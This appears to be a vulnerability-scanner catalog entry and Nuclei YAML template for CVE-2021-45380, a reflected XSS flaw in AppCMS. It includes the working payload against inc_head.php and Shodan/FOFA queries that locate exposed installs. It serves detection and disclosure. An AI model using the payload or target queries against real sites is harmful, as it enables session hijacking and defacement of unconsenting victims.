CVE-2021-45380: AppCMS - Cross-Site Scripting
- Template: CVE-2021-45380
- Name: AppCMS - Cross-Site Scripting
- Description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
- Remediation: Upgrade to the latest version to mitigate this vulnerability.
- Severity: medium
- Authors: pikpikcu
- Tags: cve2021, cve, appcms, xss, vuln
- References: https://github.com/source-trace/appcms/issues/8, https://nvd.nist.gov/vuln/detail/CVE-2021-45380, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2021-45380
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-45380.yaml
- Digest: 4a0a0047304502200658fb9bc67788c1af215ed792ef4f23cc5ce4f4edd4eca924aa0e6ccd5526c502210083128ba13132bf3d9b050cd5ad48b448a299e8a8a1db0abc1791e0ebaa1d8e6d
- Created at: 2022-01-28T05:30:50Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1761
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45380.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.02666
- Epss percentile: 0.86109
- Cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="powerd by appcms"
- Max-request: 1
- Product: appcms
- Shodan-query: http.html:"Powerd by AppCMS", http.html:"powerd by appcms"
- Vendor: appcms
Products
| Product | Indexed | Url |
|---|---|---|
| appcms:appcms | yes | /v1/products/appcms/appcms |
Labels
- Name: AppCMS - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
- Remediation: Sanitize user input in \templates\m\inc_head.php and update to the latest version.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to load a maliciously crafted page
- Labels source: projectdiscovery
- From cve: CVE-2021-45380
```yaml
id: CVE-2021-45380
info:
name: AppCMS - Cross-Site Scripting
author: pikpikcu
severity: medium
description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/source-trace/appcms/issues/8
- https://nvd.nist.gov/vuln/detail/CVE-2021-45380
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-45380
cwe-id: CWE-79
epss-score: 0.02666
epss-percentile: 0.86109
cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: appcms
product: appcms
shodan-query:
- http.html:"Powerd by AppCMS"
- http.html:"powerd by appcms"
fofa-query: body="powerd by appcms"
tags: cve2021,cve,appcms,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '""></script><script>alert(document.domain)</script>'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4a0a0047304502200658fb9bc67788c1af215ed792ef4f23cc5ce4f4edd4eca924aa0e6ccd5526c502210083128ba13132bf3d9b050cd5ad48b448a299e8a8a1db0abc1791e0ebaa1d8e6d:922c64590222798bb761d5b6d8e72950
```